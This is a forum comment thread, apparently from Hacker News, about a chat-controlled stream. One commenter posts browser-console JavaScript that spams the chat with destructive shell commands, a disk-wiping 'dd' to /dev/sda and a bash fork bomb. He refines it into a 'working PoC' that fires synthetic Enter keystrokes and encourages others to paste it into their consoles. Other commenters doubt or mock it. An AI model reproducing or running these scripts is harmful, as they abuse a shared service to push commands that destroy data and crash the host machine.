4 ms·
> setTimeout(function(){$('#chat-input').val('dd if=/dev/zero of=/dev/sda bs=4M');$('#chat-send').click();},100) > setTimeout(function(){$('#chat-input').val('
by chadillac 11y ago
> setTimeout(function(){$('#chat-input').val('dd if=/dev/zero of=/dev/sda bs=4M');$('#chat-send').click();},100)
> setTimeout(function(){$('#chat-input').val(':(){ :|: & };:');$('#chat-send').click();},100)
Get a handful of people to run one of those in their browsers JS console and watch the world burn.
- oneeyedpigeon 11y agoExcept that those won't work - the input has to be received one-character at a time, i.e. one character per chat message.
- igorgue 11y agoCan't you just modify the script to add 1 char at the time and the event handler will get it anyways?
- chadillac 11y agoyes, you can.
- pavel_lishin 11y agoHow do you know that char[x] went through, and you should switch to spamming char[x+1]?
- chadillac 11y agosimple pseudo-code PoC, another 2 minutes of coding to fix that limitation.
- placeybordeaux 11y agoYou must live in an extremely simple world
- chadillac 11y ago> setInterval(function(){chars=':(){ :|: & };:'.split('');for(i=0;i<chars.length;i++){ $('#chat-input').val($('#chat-input').val()+chars[i]); }; $('#chat-send').click(); }, 100) I must...
- serge2k 11y agoOkay, now get it to detect when it is actually time to switch characters and if your input string won or not last character.
- chadillac 11y agosetInterval(function(){$('#chat_text_input').val(':(){ :|: & };:');e=document.createEvent('Event');e.initEvent('keydown',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e);e=document.createEvent('Event');e.initEvent('keyup',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e); },1000); ^== go into a stream in Chrome, paste that into your JS console...success. I LIVE IN A SIMPLE WORLD
- deleted 11y ago[deleted]
- deleted 11y ago[deleted]
- packetslave 11y agothis is why we can't have nice things
- chadillac 11y agoFor the doubters, here is a working PoC... works in Chrome. setInterval(function(){$('#chat_text_input').val(':(){ :|: & };:');e=document.createEvent('Event');e.initEvent('keydown',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e);e=document.createEvent('Event');e.initEvent('keyup',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e); },1000);
- PhasmaFelis 11y agoI just flagged this because it (and the other post of the same thing) blows out the page width and makes everything else wrap to the full length of the string, which is considerably more than the average screen width. Hoping an admin can edit it.
- dang 11y agoYes, we prepended two spaces to the long line, which formats it as code. Thanks.
- sidarape 11y agoI won't work for the simple reason that it is only one character by user.